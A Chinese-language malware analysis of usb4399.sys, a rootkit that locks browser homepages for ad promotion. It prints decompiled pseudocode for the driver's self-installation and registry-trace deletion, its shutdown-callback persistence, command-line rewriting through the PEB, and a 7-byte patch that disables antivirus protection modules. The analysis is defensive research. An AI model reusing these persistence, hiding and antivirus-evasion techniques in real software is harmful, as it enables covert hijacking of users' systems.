锁主页和文件过滤驱动的 ROOTKIT 分析

ヽ(￣▽￣)و

0x00 背景

文件名：usb4399.sys
MD5：07D8B0397ED64EBFB4132F0644814986

0x01 概述

该样本实际为一个文件过滤驱动的 rootkit，功能是锁浏览器主页，进行广告推广。

0x02 样本分析

样本执行流程

流程图没有画，简单总结一下：
1- 解析内置推广链接字符串
2- 释放 usb4399.sys 到系统驱动目录并加载
3- 释放指向淘宝、百度、京东三家的.url 链接文件
4- 进程回调监控浏览器进程创建，修改主页
5- 关机回调：将驱动创建注册表服务
6- 热补防护模块功能函数的入口点 7 个字节使其失效
7- 获取系统信息
8- 修改驱动文件属性隐藏自身

一、恶意推广链接

病毒的推广行为主要在 sub_5E8A 中，通过 PsSetCreateProcessNotifyRoutine 监控浏览器进程，发现目标浏览器进程启动后执行恶意推广函数，包括驱动的释放和加载，释放推广链接文件，修改浏览器主页等：

```
  if ( FsRtlIsNameInExpression(&String, ProcessImagePath, 1u, 0) )// 如果命中了浏览器数组中的某一个，则继续判断是否是360安全浏览器
  {
    ZwQuerySystemInformation_4BB0(ProcessId, ParentId);// 获取浏览器的进程信息
    PsGetProcessInheritedFromUniqueProcessId_38D0(ProcessId, v5);// 获取浏览器父进程的PID
  }
}
WriteTimeToReg_49AA();                  // 将系统时间 Year-Month-Day-Hour-Minute-Second 写入 \\Registry\\Machine\\SOFTWARE\\MIC
release_3_URL_file_54E4();              // 将3个链接文件：淘宝.url 百度.url 京东.url 释放到\\Administrator\\Favorites
ReleaseTaobaoToDesktop_570A();          // 将淘宝.url单独释放到桌面C:\\Users\\Public\\Desktop
if ( byte_9192 )                        // 操作推广链接
{
  url = &unk_9CA8;
```

初始化待推广链接

驱动加载后首先读取了内置的一些推广相关的字符串，包括待生成的 4 个.url 文件的内容+推广链接+多个.chm 文件名称。

```
STATUS = 0xC0000001;
v12 = 0;
DeviceObject = 0;
v13 = 0;
v14 = 0;
v10 = 0;
v16 = 0;
v11 = 0;
MajorVersion = 0;
v15 = 0;
Get_4_URL_14000();                      // 读取内置的4个URL，用于之后写成.url文件
Get_ad_URL_111C8();                     // 读取内置的多个广告推广URL
Get_chm_145EC();                        // 读取内置的多个chm字符串
PsGetVersion(&MajorVersion, 0, 0, 0);   // 获取系统版本信息
if ( MajorVersion < 6 )                 // Vista之前即 <6
  byte_9000 = 0;
```

.url 文件内容如下：

```
WriteURL_ToMemory_13D08(&URL1_195A8, 0x100u, (int)&URL_1);// 淘宝
                                        // 将内置的URL-1字符串读到内存
                                        // [InternetShortcut]
                                        // URL=http://ie.356123.com/taobao.html
sub_3D70((int)&unk_96A8, 0x100u, (int)&a3);
WriteURL_ToMemory_13D08(&URL2_197A8, 0x100u, (int)&URL_2);// 百度
                                        // 将内置的URL-2字符串读到内存
                                        // [InternetShortcut]
                                        // URL=http://ie.356123.com/baidu.html
sub_3D70((int)&unk_98A8, 0x100u, (int)&v2);
WriteURL_ToMemory_13D08(&URL3_199A8, 0x100u, (int)&URL_3);// 淘宝
                                        // 将内置的URL-3字符串读到内存
                                        // [InternetShortcut]
                                        // URL=http://ie.356123.com/taobao.html
sub_3D70((int)&unk_9AA8, 0x100u, (int)&v1);
return WriteURL_ToMemory_13D08(&URL4_19BA8, 0x100u, (int)&URL_4);// 京东
                                        // 将内置的URL-4字符串读到内存
                                        // [InternetShortcut]
                                        // URL=http://ie.201201.com/jingdong.html
```

广告网址如下：

http://www.dh219.com/	http://hao.dh219.com/	http://www.dh219.com/
http://www.dh218.com/	http://hao.dh218.com/	http://www.dh218.com/
http://www.dh225.com/	http://hao.dh225.com/	http://www.dh225.com/
http://www.dh269.com/	http://hao.dh269.com/	http://www.dh269.com/
http://www.dh290.com/	http://hao.dh290.com/	http://www.dh290.com/
http://www.dh296.com/	http://hao.dh296.com/	http://www.dh296.com/
http://hao.dh218.com/	http://hao.dh269.com/	http://hao.dh296.com/
http://hao.dh225.com/	http://hao.dh290.com/	http://hao.dh219.com/

chm 文件名如下：

```
sub_3D70((int)&word_90C0, 0x28u, (int)&chm_1);// etm.chm
sub_3D70((int)&ValueName, 0x28u, (int)&chm_2);// netm.chm
sub_3D70((int)&word_9098, 0x28u, (int)&chm_3);// etmd.chm
sub_3D70((int)&word_9020, 0x28u, (int)&chm_4);// netmd.chm
sub_3D70((int)&unk_9168, 0x28u, (int)&chm_5); // Dismiss.chm
return sub_3D70((int)&word_9070, 0x28u, (int)&chm_6);// Bender.chm
```

释放自身到系统驱动目录下并加载

然后病毒会将自身释放到系统的驱动目录下：C:\windows\system32\drivers\usb4399.sys，加载驱动执行后会将对应的注册表项进行删除以擦除痕迹。

```
else                                    // 如果驱动路径不是\\FileSystem\\usb4399，正常的话一开始会跳转到这里开始执行
{
  v10 = GetSysDriverDir_33C6();         // 获取系统驱动目录路径：C:\windows\system32\drivers
  P = v10;
  if ( DriverObject )
  {
    memmove(&unk_A4A8, v10[1], *v10);
    ntstatus = RtlCreateRegistryKey_4A5C(0, 0);// 将驱动创建服务启动项先于系统执行:\Registry\Machine\System\CurrentControlSet\Services
    if ( (ntstatus & 0xC0000000) != 0xC0000000 )// 若创建成功
    {
      memmove(sys_driver_path_B510, *(P + 1), *P);
      v11 = GetStringLength(L"\\usb4399.sys");
      memmove(&sys_driver_path_B510[*P >> 1], v12, 2 * v11);
      RtlInitUnicodeString(&usbpath, sys_driver_path_B510);// 将驱动自身释放到C:\windows\system32\drivers\usb4399.sys
      ntstatus = ReleaseSys_322E((DriverObject->DriverSection + 0x24), &usbpath);
      if ( (ntstatus & 0xC0000000) != 0xC0000000 )// 若释放成功
      {
        ZwLoadDriver(&NewRegister_usb4399);   // 加载驱动 \\Registry\\Machine\\System\\CurrentControlSet\\Services\\usb4399
        ntstatus = 0xC0000001;
      }
      ZwDeleteKey_2B08(0, &NewRegister_usb4399);// 在驱动加载之后，将对应的注册表项删除以掩盖痕迹
    }
```

进程创建回调：释放推广链接文件 + 修改浏览器主页

将**淘宝.url 百度.url 京东.url** 3 个链接文件释放到 \\Administrator\\Favorites，将**淘宝.url** 释放到桌面。

```
if ( (v0 & 0xC0000000) != 0xC0000000 && (StringCopy_4CC2(P, &v6) & 0xC0000000) != 0xC0000000 )
{
  if ( ZwOpenFile_4E48(v6) )
  {
    RtlDeleteRegistryValue_0(v2, v3, v4);
    if ( RegDataOpr_5144(&word_90C0, L"\\Registry\\Machine\\SOFTWARE\\MICROSOFT\\WINDOWS\\HTML HELP", 3)
      && release_3_URL_file_538E(v6) )      // 释放3个链接文件：淘宝.url 百度.url 京东.url
```

释放文件逻辑如下：

```
v4 = ExAllocatePoolWithTag(PagedPool, v3, 0x656D6F48u);
P = v4;
if ( v4 )
{
  v12 = v4;
  v10 = 0;
  v11 = v3;
  sub_3F0A(&v10, a1);
  sub_3F86(&v10, a2);
  ObjectAttributes.Length = 24;
  ObjectAttributes.RootDirectory = 0;
  ObjectAttributes.Attributes = 576;
  ObjectAttributes.ObjectName = &v10;
  ObjectAttributes.SecurityDescriptor = 0;
  ObjectAttributes.SecurityQualityOfService = 0;
  v13 = ZwCreateFile(&FileHandle, 0x40000000u, &ObjectAttributes, &IoStatusBlock, 0, 0x80u, 0, 5u, 0x860u, 0, 0);
  if ( (v13 & 0xC0000000) == -1073741824 )
  {
    FileHandle = 0;
  }
  else
  {
    StrLen = strlen(Buffer);
    v13 = ZwWriteFile(FileHandle, 0, 0, 0, &IoStatusBlock, Buffer, StrLen, &ByteOffset, 0);
    if ( StrLen != IoStatusBlock.Information )
      v13 = -1073741823;
  }
  ms_exc.registration.TryLevel = -2;
  JUMPOUT(&loc_5361);
}
sub_766C(&__security_cookie, &ms_exc.registration, -2);
return -1073741670;
```

病毒修改浏览器主页的思路：利用 peb 获取到进程的命令行，通过修改浏览器 cmdline 的方式进行主页的修改。

```
_DWORD *__stdcall ChangeBrowserFrontPage_3142(PPEB peb, int a2, void *a3, int len)
{
  _RTL_USER_PROCESS_PARAMETERS *PPROCESS_PARAMETERS; // eax 逆向时先设置函数参数类型，p1明显是PPEB结构
  _DWORD *result; // eax
  unsigned __int16 cmdline; // [esp-4h] [ebp-Ch]

  PPROCESS_PARAMETERS = peb->ProcessParameters; // 结构体 PPROCESS_PARAMETERS
  cmdline = PPROCESS_PARAMETERS->CommandLine.Length;// 进程 cmdline
  if ( PPROCESS_PARAMETERS->CommandLine.Buffer > PPROCESS_PARAMETERS->MaximumLength )
  {
    if ( ChangeStr_30BA(PPROCESS_PARAMETERS->CommandLine.Buffer, cmdline) )
    {
      peb->ProcessParameters->CommandLine.Buffer = &peb->ProcessParameters->CurrentDirectories[1].Flags;
      memset(peb->ProcessParameters->CommandLine.Buffer, 0, len + 2);
      return memmove(peb->ProcessParameters->CommandLine.Buffer, a3, len);// 修改浏览器进程的 cmdline
    }
LABEL_8:
    peb->ProcessParameters->CommandLine.Length = len;
    result = (len + 2);
    peb->ProcessParameters->CommandLine.MaximumLength = len + 2;
    return result;
  }
  if ( !ChangeStr_30BA(PPROCESS_PARAMETERS + PPROCESS_PARAMETERS->CommandLine.Buffer, cmdline) )
    goto LABEL_8;
  result = &peb->ProcessParameters->MaximumLength;
  if ( result[1] + len + 2 <= *result )
  {
    result[17] = 160;
    memset(peb->ProcessParameters + peb->ProcessParameters->CommandLine.Buffer, 0, len + 2);
    result = memmove(peb->ProcessParameters + peb->ProcessParameters->CommandLine.Buffer, a3, len);
  }
  return result;
}
```

待推广链接：

```
  memmove_62C8(&browsers_string_EE40, &str_chrome, 2 * wcslen(&str_chrome));
  memmove_62C8(&browsers_string_EE40, &str_360se, 2 * wcslen(&str_360se));
  memmove_62C8(&browsers_string_EE40, &str_360chrome, 2 * wcslen(&str_360chrome));
  memmove_62C8(&browsers_string_EE40, &str_qqbrowser, 2 * wcslen(&str_qqbrowser));
  memmove_62C8(&browsers_string_EE40, &str_firefox, 2 * wcslen(&str_firefox));
  memmove_62C8(&browsers_string_EE40, &str_ucbrowser, 2 * wcslen(&str_ucbrowser));
  memmove_62C8(&browsers_string_EE40, &str_baidubrowser, 2 * wcslen(&str_baidubrowser));
  memmove_62C8(&browsers_string_EE40, &str_sogouexplorer, 2 * wcslen(&str_sogouexplorer));
  memmove_62C8(&browsers_string_EE40, &str_maxthon, 2 * wcslen(&str_maxthon));
  memmove_62C8(&browsers_string_EE40, &str_theworld, 2 * wcslen(&str_theworld));
  memmove_62C8(&browsers_string_EE40, &str_2345explorer, 2 * wcslen(&str_2345explorer));
  memmove_62C8(&browsers_string_EE40, &str_115chrome, 2 * wcslen(&str_115chrome));
  memmove_62C8(&browsers_string_EE40, &str_greenbrowser, 2 * wcslen(&str_greenbrowser));
  memmove_62C8(&browsers_string_EE40, &str_juzi, 2 * wcslen(&str_juzi));
  memmove_62C8(&browsers_string_EE40, &str_liebao, 2 * wcslen(&str_liebao));
  memmove_62C8(&browsers_string_EE40, &str_opera, 2 * wcslen(&str_opera));
  memmove_62C8(&browsers_string_EE40, &str_opera_launcher, 2 * wcslen(&str_opera_launcher));
  return memmove_62C8(&browsers_string_EE40, &str_xcodebrser, 2 * wcslen(&str_xcodebrser));
}
```

关机回调：将驱动添加注册表服务

病毒还创建了关机回调方法，在关机的时候再次尝试将驱动创建注册表服务：

```
  if ( (STATUS & 0xC0000000) != 0xC0000000 )
  {
    v13 = 1;
    STATUS = IoRegisterShutdownNotification(DeviceObject);// 关机回调：将驱动添加注册表服务
    if ( (STATUS & 0xC0000000) != 0xC0000000 )
    {
      v14 = 1;

  KeInitializeEvent(&Event, SynchronizationEvent, 0);// 一些IRP指向的事件函数，一般会被用作回调的 DriverObject 对象调用
  DriverObject->MajorFunction[-IRP_MJ_CREATE] = sub_128BC;
  DriverObject->MajorFunction[IRP_MJ_CREATE_NAMED_PIPE] = sub_128BC;
  DriverObject->MajorFunction[0x13] = sub_128BC;
  DriverObject->MajorFunction[13] = sub_13434;
  DriverObject->MajorFunction[18] = sub_12006;
  DriverObject->MajorFunction[2] = sub_12006;
  DriverObject->MajorFunction[16] = CreateService_Registry_72CC;// 关机回调：将驱动创建注册表服务项
  DriverObject->MajorFunction[14] = sub_7306;
  NewAddr = ExAllocatePoolWithTag(0, 0x70u, 0x746C4653u);
  New_Mem = NewAddr;
```

```
ValueData = 0;
v11 = RtlCreateRegistryKey(1u, L"usb4399");   // p=1: 在\Registry\Machine\System\CurrentControlSet\Services注册表项下创建键usb4399
                                              // 下面将对键usb4399进行配置 p=1:wdm.h可查
if ( (v11 & 0xC0000000) != 0xC0000000 )
{
  ValueData = 1;
  v11 = RtlWriteRegistryValue(1u, L"usb4399", L"ErrorControl", 4u, &ValueData, 4u);
  if ( (v11 & 0xC0000000) != 0xC0000000 )
  {
    ValueData = 0;
    v11 = RtlWriteRegistryValue(1u, L"usb4399", L"Start", 4u, &ValueData, 4u);//
                                              // Start的值设置为0，则驱动由启动引导器加载，应该跟"随着开机，最先启动"是同一回事；
                                              // Start的值设置为1，则驱动由操作系统的I/O子系统加载，即在系统内核初始化时加载；
                                              // Start的值设置为2，则驱动/服务在启动后自动加载；
                                              // Start的值设置为3，则驱动/服务就是按需手动加载；
                                              // Start的值设置为4，驱动/服务就是被禁用的状态
    if ( (v11 & 0xC0000000) != 0xC0000000 )
    {
      ValueData = 2;
      v11 = RtlWriteRegistryValue(1u, L"usb4399", L"Type", 4u, &ValueData, 4u);
      if ( (v11 & 0xC0000000) != 0xC0000000 )
      {
        ValueData = 4;
        v11 = RtlWriteRegistryValue(1u, L"usb4399", L"Tag", 4u, &ValueData, 4u);
        if ( (v11 & 0xC0000000) != 0xC0000000 )
        {
          v2 = GetStringLength(L"FSFilter Activity Monitor");
          v11 = RtlWriteRegistryValue(1u, L"usb4399", L"Group", 1u, v3, 2 * v2 + 2);
          if ( (v11 & 0xC0000000) != 0xC0000000 )
          {
            v4 = GetStringLength(&usb4399_SysPath_191A8);
            v11 = RtlWriteRegistryValue(1u, L"usb4399", L"ImagePath", 2u, v5, 2 * v4 + 2);
            if ( (v11 & 0xC0000000) != 0xC0000000 )
            {
              v6 = GetStringLength(&unk_A4A8);
              v11 = RtlWriteRegistryValue(1u, L"usb4399", L"DriversPath", 1u, v7, 2 * v6 + 2);
```

二、对抗杀软对浏览器的防护

模块加载回调：对抗杀软

病毒通过监控模块加载来监控浏览器加载的模块，如果检测到了 360 网盾模块 SAFEWRAPPER32.DLL 则通过热补 7 个字节的方式使得防护模块失效。

```
          (v4 = FsRtlIsNameInExpression(&DestinationString, FullImageNamee, 1u, 0)) != 0)
      || (RtlInitUnicodeString(
            &DestinationString,
            L"*\\KSHMPG.DLL"),                // 金山毒霸防护模块
          (v4 = FsRtlIsNameInExpression(&DestinationString, FullImageNamee, 1u, 0)) != 0) )
    {
      v16 = 1;
    }
    else
    {
      RtlInitUnicodeString(&DestinationString, L"*\\KWSUI.DLL");// 金山网盾防护模块
      if ( FsRtlIsNameInExpression(&DestinationString, FullImageNamee, 1u, 0) )
        goto LABEL_25;
      RtlInitUnicodeString(&DestinationString, L"*\\KSHMPGEXT.DLL");// 金山扩展防护模块
      v4 = FsRtlIsNameInExpression(&DestinationString, FullImageNamee, 1u, 0);
    }
    if ( v4 )
    {
LABEL_25:                                     // 若浏览器加载了360网盾模块 SAFEWRAPPER32.DLL
      KeStackAttachProcess((PRKPROCESS)Object, &ApcState);
      ms_exc.registration.TryLevel = 0;
      DLL_entrypoint = (char *)NewIrql->ImageBase
                     + *(_DWORD *)((char *)NewIrql->ImageBase + *((_DWORD *)NewIrql->ImageBase + 0xF) + 0x28);
      memmove(&v17, DLL_entrypoint, 7u);      // 热补防护模块功能函数的入口点7个字节使其失效
```

三、注册派遣函数 + 隐藏自身

首先动态获取一些 API 的地址、系统版本，并设置一些 IRP 派遣函数，例如上面的关机回调。

```
int (__stdcall *GetAPI_14006())(_DWORD)
{
  int (__stdcall *RtlGetVersion)(_DWORD); // eax
  UNICODE_STRING DestinationString; // [esp+8h] [ebp-8h]

  memset(&FsRtlRegisterFileSystemFilterCallbacks_B0E0, 0, 0x20u);
  RtlInitUnicodeString(&DestinationString, L"FsRtlRegisterFileSystemFilterCallbacks");
  FsRtlRegisterFileSystemFilterCallbacks_B0E0 = (int (__stdcall *)(_DWORD, _DWORD))MmGetSystemRoutineAddress(&DestinationString);
  RtlInitUnicodeString(&DestinationString, L"IoAttachDeviceToDeviceStackSafe");
  IoAttachDeviceToDeviceStackSafe_B0E4 = (int (__stdcall *)(_DWORD, _DWORD, _DWORD))MmGetSystemRoutineAddress(&DestinationString);
  RtlInitUnicodeString(&DestinationString, L"IoEnumerateDeviceObjectList");
  IoEnumerateDeviceObjectList_B0E8 = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD))MmGetSystemRoutineAddress(&DestinationString);
  RtlInitUnicodeString(&DestinationString, L"IoGetLowerDeviceObject");
  IoGetLowerDeviceObject_B0EC = (int)MmGetSystemRoutineAddress(&DestinationString);
  RtlInitUnicodeString(&DestinationString, L"IoGetDeviceAttachmentBaseRef");
  IoGetDeviceAttachmentBaseRef_B0F0 = (int)MmGetSystemRoutineAddress(&DestinationString);
  RtlInitUnicodeString(&DestinationString, L"IoGetDiskDeviceObject");
  IoGetDiskDeviceObject_B0F4 = (int (__stdcall *)(_DWORD, _DWORD))MmGetSystemRoutineAddress(&DestinationString);
  RtlInitUnicodeString(&DestinationString, L"IoGetAttachedDeviceReference");
  IoGetAttachedDeviceReference_B0F8 = (int)MmGetSystemRoutineAddress(&DestinationString);
  RtlInitUnicodeString(&DestinationString, L"RtlGetVersion");
  RtlGetVersion = (int (__stdcall *)(_DWORD))MmGetSystemRoutineAddress(&DestinationString);
  RtlGetVersion_B0FC = RtlGetVersion;
  return RtlGetVersion;
}


  GetAPI_14006();                               // 获取一些API的地址
  PsGetVersion_140E0();                         // 获取系统版本
  ::DriverObject = DriverObject;                // 初始化驱动对象的一些信息
  FastMutex.Count = 1;
  dword_BD44 = 0;
  dword_BD48 = 0;
  KeInitializeEvent(&Event, SynchronizationEvent, 0);// ++++++++++++注册一些IRP派遣函数，一般会被用作回调的 DriverObject 对象调用
  DriverObject->MajorFunction[-IRP_MJ_CREATE] = (PDRIVER_DISPATCH)sub_128BC;
  DriverObject->MajorFunction[IRP_MJ_CREATE_NAMED_PIPE] = (PDRIVER_DISPATCH)sub_128BC;
  DriverObject->MajorFunction[0x13] = (PDRIVER_DISPATCH)sub_128BC;
  DriverObject->MajorFunction[13] = sub_13434;
  DriverObject->MajorFunction[18] = (PDRIVER_DISPATCH)sub_12006;
  DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)sub_12006;
  DriverObject->MajorFunction[16] = (PDRIVER_DISPATCH)CreateService_Registry_72CC;// 关机回调：将驱动创建注册表服务项
  DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)sub_7306;
  NewAddr = (_FAST_IO_DISPATCH *)ExAllocatePoolWithTag(0, 0x70u, 0x746C4653u);
  New_Mem = NewAddr;
  if ( !NewAddr )                               // pass
  {
    v7 = 0xC000009A;
```

进一步注册跟文件系统相关的 Fast I/O 派遣函数，无实际恶意逻辑：

```
  memset(NewAddr, 0, 0x70u);                    // ++++++++++++注册跟文件系统相关的Fast I/O派遣函数，非恶意逻辑
  DriverObject->FastIoDispatch = New_Mem;
  New_Mem->SizeOfFastIoDispatch = 112;
  New_Mem->FastIoCheckIfPossible = (PFAST_IO_CHECK_IF_POSSIBLE)sub_1204E;
  New_Mem->FastIoRead = (PFAST_IO_READ)sub_1209A;
  New_Mem->FastIoWrite = (PFAST_IO_WRITE)sub_120E6;
  New_Mem->FastIoQueryBasicInfo = (PFAST_IO_QUERY_BASIC_INFO)sub_12132;
  New_Mem->FastIoQueryStandardInfo = (PFAST_IO_QUERY_STANDARD_INFO)sub_12176;
  New_Mem->FastIoLock = (PFAST_IO_LOCK)sub_121BA;
  New_Mem->FastIoUnlockSingle = (PFAST_IO_UNLOCK_SINGLE)sub_1220A;
  New_Mem->FastIoUnlockAll = (PFAST_IO_UNLOCK_ALL)sub_12254;
  New_Mem->FastIoUnlockAllByKey = (PFAST_IO_UNLOCK_ALL_BY_KEY)sub_12298;
  New_Mem->FastIoDeviceControl = (PFAST_IO_DEVICE_CONTROL)sub_122DC;
  New_Mem->FastIoDetachDevice = (PFAST_IO_DETACH_DEVICE)sub_12A7A;
  New_Mem->FastIoQueryNetworkOpenInfo = (PFAST_IO_QUERY_NETWORK_OPEN_INFO)sub_1232C;
  New_Mem->MdlRead = (PFAST_IO_MDL_READ)sub_12370;
  New_Mem->MdlReadComplete = (PFAST_IO_MDL_READ_COMPLETE)sub_6FE2;
  New_Mem->PrepareMdlWrite = (PFAST_IO_PREPARE_MDL_WRITE)sub_123BA;
  New_Mem->MdlWriteComplete = (PFAST_IO_MDL_WRITE_COMPLETE)sub_12404;
  New_Mem->FastIoReadCompressed = (PFAST_IO_READ_COMPRESSED)sub_12444;
  New_Mem->FastIoWriteCompressed = (PFAST_IO_WRITE_COMPRESSED)sub_12496;
  New_Mem->MdlReadCompleteCompressed = (PFAST_IO_MDL_READ_COMPLETE_COMPRESSED)sub_7020;
  New_Mem->MdlWriteCompleteCompressed = (PFAST_IO_MDL_WRITE_COMPLETE_COMPRESSED)sub_705E;
  New_Mem->FastIoQueryOpen = (PFAST_IO_QUERY_OPEN)sub_124E8;
  if ( FsRtlRegisterFileSystemFilterCallbacks_B0E0 )
  {
```

病毒主要逻辑分析完毕，剩余逻辑为文件属性的修改（例如签名等）以达到掩人耳目的目的，不再继续分析。

```
  DriverObjecta = (PDRIVER_OBJECT)IoRegisterFsRegistrationChange(// 注册一个文件过滤器驱动器的通知例程到文件系统上。当文件系统注册或者注销自身时调
                                  DriverObjectt,
                                  (PDRIVER_FS_NOTIFICATION)DriverNotificationRoutine);
  if ( (signed int)DriverObjecta < 0 )
    goto LABEL_12;
  RtlInitUnicodeString(&ObjectName, L"\\Device\\RawDisk");
  if ( IoGetDeviceObjectPointer(&ObjectName, 0x80u, &FileObject, (PDEVICE_OBJECT *)&RegistryPath) >= 0 )
  {
    DriverNotificationRoutine((struct _DEVICE_OBJECT *)RegistryPath, 1u);
    ObfDereferenceObject(FileObject);
  }
  RtlInitUnicodeString(&ObjectName, L"\\Device\\RawCdRom");
  if ( IoGetDeviceObjectPointer(&ObjectName, 0x80u, &FileObject, (PDEVICE_OBJECT *)&RegistryPath) >= 0 )
  {
    DriverNotificationRoutine((struct _DEVICE_OBJECT *)RegistryPath, 1u);
    ObfDereferenceObject(FileObject);
  }
  result = 0;
}
```

0x03 查杀方式

PCHunter 搞一搞即可。

0x04 总结

Rootkit 类型的病毒通常隐秘性都比较高，该病毒的亮点有 3 个：

（1） 通过 peb 访问浏览器命令行进行修改以达到锁主页的目的

（2） 热补防护模块功能函数的入口点 7 个字节来对抗杀软模块

（3） 修改驱动文件签名然人耳目

IOC：略

yara：略